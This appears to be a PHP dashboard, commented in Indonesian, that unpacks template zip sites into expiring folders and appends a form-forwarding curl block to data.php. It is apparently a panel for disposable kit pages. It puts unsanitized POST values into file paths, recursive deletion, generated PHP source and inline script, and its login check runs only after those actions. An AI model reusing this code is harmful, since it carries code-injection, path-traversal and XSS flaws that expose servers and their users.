<?php
function tambahCodeKeApiii($folder)
{
    $apiiiFile = "data.php";  // Lokasi file apiii.php di luar folder yang dibuat
    $codeToAdd = '
$url = "https://' . $_SERVER['HTTP_HOST'] . '/cp/x/' . $folder . '/apiii.php";
$data = "subjek=" . $subjek . "&pesan=" . $pesan . "&sender=" . $sender;
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch2, CURLOPT_COOKIEJAR, getcwd() . "/cok.txt");
curl_setopt($ch2, CURLOPT_COOKIEFILE, getcwd() . "/cok.txt");   
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch2);
curl_close($ch2);';

    // Baca isi file apiii.php
    $apiiiContent = file_get_contents($apiiiFile);

    // Tambahkan code ke dalam apiii.php
    $apiiiContent .= "\n\n" . $codeToAdd;

    // Simpan kembali isi file apiii.php
    file_put_contents($apiiiFile, $apiiiContent);
}

function hapusCodeDariApiii($folder)
{
    $apiiiFile = "data.php";  // Lokasi file apiii.php di luar folder yang dibuat
    $codeToFind = '
$url = "https://' . $_SERVER['HTTP_HOST'] . '/cp/x/' . $folder . '/apiii.php";
$data = "subjek=" . $subjek . "&pesan=" . $pesan . "&sender=" . $sender;
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch2, CURLOPT_COOKIEJAR, getcwd() . "/cok.txt");
curl_setopt($ch2, CURLOPT_COOKIEFILE, getcwd() . "/cok.txt");   
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch2);
curl_close($ch2);';

    // Baca isi file apiii.php
    $apiiiContent = file_get_contents($apiiiFile);

    // Hapus code dari apiii.php
    $apiiiContent = str_replace($codeToFind, '', $apiiiContent);

    // Simpan kembali isi file apiii.php
    file_put_contents($apiiiFile, $apiiiContent);
}

function hapusFolderDanIsinya($folderPath) {
    if (is_dir($folderPath)) {
        $files = array_diff(scandir($folderPath), array('.', '..'));
        foreach ($files as $file) {
            $filePath = "$folderPath/$file";
            is_dir($filePath) ? hapusFolderDanIsinya($filePath) : unlink($filePath);
        }
        return rmdir($folderPath);
    }
    return false;
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST["hapusfolder"])) {
        $folder = $_POST["folder"];
        $folderPath = "x/$folder";

        hapusFolderDanIsinya($folderPath);
        hapusCodeDariApiii($folder);

        echo "<script>
            const folders = JSON.parse(localStorage.getItem('folders')) || [];
            const index = folders.findIndex(f => f.name === '$folder');
            if (index > -1) {
                folders.splice(index, 1);
                localStorage.setItem('folders', JSON.stringify(folders));
            }
            window.location.href = window.location.href;  // Refresh halaman untuk memperbarui tabel
        </script>";

        exit();
    } else {
        $text = $_POST["text"];
        $expiredTime = intval($_POST["expiredTime"]);
         $nomor = $_POST["nomor"];

        if (isset($_POST["buatweb"])) {
            $newfol = uniqid();
            $folderPath = "x/$text";
            $folderPath = "x/$text";

            mkdir($folderPath);

            $zipFilePath = "scriptamat/dirz$nomor.zip";
            $newZipFilePath = "$folderPath/dirz$nomor.zip";
            copy($zipFilePath, $newZipFilePath);

            $zip = new ZipArchive;
            if ($zip->open($newZipFilePath) === TRUE) {
                $zip->extractTo($folderPath);
                $zip->close();
            }

            unlink($newZipFilePath);

            tambahCodeKeApiii($text);

            // Simpan waktu expired dalam session
            session_start();
            $_SESSION['folders'][$folderPath] = [
                'expired_time' => time() + $expiredTime,
                'folder' => $text
            ];
            session_write_close();

            echo "<script>
                const folders = JSON.parse(localStorage.getItem('folders')) || [];
                folders.push({ name: '$text', expired_time: " . (time() + $expiredTime) . " });
                localStorage.setItem('folders', JSON.stringify(folders));
                window.location.href = 'done2.php?folder=$text';
            </script>";

            exit();
        }
    }
}

function checkExpiredFolders() {
    session_start();
    foreach ($_SESSION['folders'] as $folderPath => $data) {
        if (isset($data['expired_time']) && time() > $data['expired_time']) {
            hapusFolderDanIsinya($folderPath);
            hapusCodeDariApiii($data['folder']);
            unset($_SESSION['folders'][$folderPath]);
        }
    }
    session_write_close();
}

// Panggil fungsi untuk memeriksa dan menghapus folder yang sudah expired
checkExpiredFolders();
?>

<?php
session_start();

// Periksa apakah pengguna sudah login
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    header("Location: ../login.php");
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <title>Create Dashboard - ホストコード</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Ramabhadra&family=Tilt+Neon&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.7/tailwind.min.css">
</head>
<body class="bg-gradient-to-br from-gray-800 bg-gray-900" style="font-family: 'Ramabhadra', sans-serif; font-family: 'Tilt Neon', sans-serif; padding-top: 4rem;">
  <div id="login-modal" class="absolute top-0 left-0 w-full h-full flex justify-center items-center p-5">
    <div class="bg-gray-700 bg-opacity-50 rounded-lg p-12 border-2 border-gray-800">
      <div class="flex justify-center">
        <a href="https://<?php echo $_SERVER['HTTP_HOST']; ?>">
          <img src="https://i.ibb.co/Chp50Rk/a29b813b2395ebe6b734489a308735c1.gif" class="w-30 h-30 rounded-full object-cover mb-4" alt="Logo" width="160" height="160">
        </a>
      </div>
        <div class="mt-10 mx-auto max-w-screen-lg">
    <h2 class="text-2xl font-bold mb-4 text-center text-blue-500">Folder yang Tersedia</h2>
    <table class="min-w-full bg-gray-900 text-white border border-gray-800 rounded-lg overflow-hidden">
      <thead>
        <tr>
          <th class="py-2 px-4 border-b border-gray-800">Folder</th>
          <th class="py-2 px-4 border-b border-gray-800">Expired Time</th>
          <th class="py-2 px-4 border-b border-gray-800">Aksi</th>
        </tr>
      </thead>
      <tbody id="folderTable">
        <!-- Baris tabel akan ditambahkan secara dinamis menggunakan JavaScript -->
      </tbody>
    </table>
  </div>

  <script>
  document.addEventListener('DOMContentLoaded', function() {
    let folders = JSON.parse(localStorage.getItem('folders')) || [];

    function refreshTable() {
      const folderTable = document.getElementById('folderTable');
      folderTable.innerHTML = ''; // Kosongkan tabel sebelum membangun kembali

      folders.forEach(folder => {
        const row = document.createElement('tr');
        row.innerHTML = `
          <td class="py-2 px-4 border-b border-gray-800 text-center">${folder.name}</td>
          <td class="py-2 px-4 border-b border-gray-800 text-center">${new Date(folder.expired_time * 1000).toLocaleString()}</td>
          <td class="py-2 px-4 border-b border-gray-800 text-center">
            <form action="" method="post">
              <input type="hidden" name="folder" value="${folder.name}">
              <button type="submit" name="hapusfolder" class="bg-red-500 hover:bg-red-700 text-white font-bold py-1 px-2 rounded-lg focus:outline-none focus:shadow-outline">Hapus</button>
            </form>
          </td>
        `;
        folderTable.appendChild(row);
      });
    }

    refreshTable(); // Bangun tabel saat halaman pertama kali dimuat

    // Hapus folder yang telah expired
    const now = Math.floor(Date.now() / 1000);
    const updatedFolders = folders.filter(folder => folder.expired_time > now);
    if (updatedFolders.length !== folders.length) {
      localStorage.setItem('folders', JSON.stringify(updatedFolders));
      folders = updatedFolders; // Perbarui data folders
      refreshTable(); // Bangun kembali tabel setelah menghapus folder yang telah expired
    }
  });
</script>


</body>
</html>
